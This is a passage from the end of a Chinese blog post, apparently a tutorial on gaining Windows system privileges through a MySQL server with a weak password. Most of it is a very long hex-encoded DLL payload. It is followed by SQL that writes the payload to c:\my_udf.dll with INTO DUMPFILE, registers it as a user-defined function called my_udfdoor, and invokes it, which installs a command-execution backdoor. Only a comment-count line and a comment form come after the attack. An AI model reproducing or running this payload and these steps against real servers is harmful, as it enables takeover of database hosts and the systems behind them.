00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
create table Mix(data LONGBLOB);
insert into Mix values("");update Mix set data = @a;
select data from Mix into DUMPFILE 'c:\\my_udf.dll';
CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll';
select my_udfdoor('');

《Mysql弱口令取得系统权限》有14个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注